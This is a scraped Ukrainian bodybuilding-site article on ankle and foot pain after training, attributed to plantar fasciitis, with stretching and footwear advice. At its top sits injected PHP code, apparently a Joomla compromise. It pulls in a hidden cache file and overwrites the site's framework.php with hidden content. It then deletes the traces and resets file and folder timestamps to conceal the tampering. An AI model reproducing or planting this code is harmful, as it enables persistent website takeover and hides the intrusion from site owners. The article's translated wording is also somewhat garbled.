$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Чому після тренування болить голеностоп або ступня? | Спортивне харчування - успіх у бодібілдингу та пауерліфтингу

Чому після тренування болить голеностоп або ступня?

Напевне багатьом з наших читачів відомо це неприємне відчуття, коли на наступний ранок після тренування (а то й раніше!), Ми відчуваємо тупий ниючий біль в гомілкостопі. Насправді, це досить поширена проблема серед тих, хто відвідує тренажерний зал. Чому ж це відбувається і як з цим боротися?

Як же так вийшло?

Ваші ноги занадто вивернулася (кісточка рухалася всередину), ваші ікри були жорстко зафіксовані, або ви робите зашагіванія на лавку, коли ваша нога почала боліти.

Що ви відчуваєте?

Ви відчуваєте біль уздовж внутрішнього краю п'яти біля зводу стопи ваших ніг. Біль посилюється, коли ви переносите вагу на ноги після довгого періоду бездіяльності, наприклад, коли ви вперше прокидаєтеся. Кісточка також може давати хворобливі відчуття, якщо ви змушені стояти протягом тривалого часу.

Діагноз

Підошовний фасцит, запалення сполучної тканини в нижній частині стопи.

Лікування

1. Сядьте, ноги випрямити, і оберніть довгий рушник навколо зводу стопи. Обережно натисніть рушник, щоб відчувати розтягнення в ахіллове сухожилля і зводі стопи. Затримайтеся на 20 секунд і повторіть протягом трьох сетів.

2. Помістіть м'яч для гольфу або тенісний м'ячик на підлогу і обертайте ногу над ним протягом п'яти хвилин. Тисніть на м'яч так сильно, як ви можете терпіти.

3. Оберніть гумовий джгут навколо ваших ніг і утримувати обидва кінці. Повертайте свою кісточку назовні, всередину, а потім вгору. Зробіть 20 повторень, утримуючи кожне положення протягом чотирьох секунд.

ПРОФІЛАКТИКА

Переконайтеся, що тренуєтеся в зручних кросівках, а якщо ви дуже активні, міняти їх кожні два або три місяці. Носіть зручні шкарпетки, які забезпечують підтримку і фіксацію стопи. Якщо у вас є плоскостопість або ви занадто вивертають ногу при старті, погляньте на м'які ортопедичні устілки.

 
Бодібілдінг Чому після тренування болить голеностоп або ступня?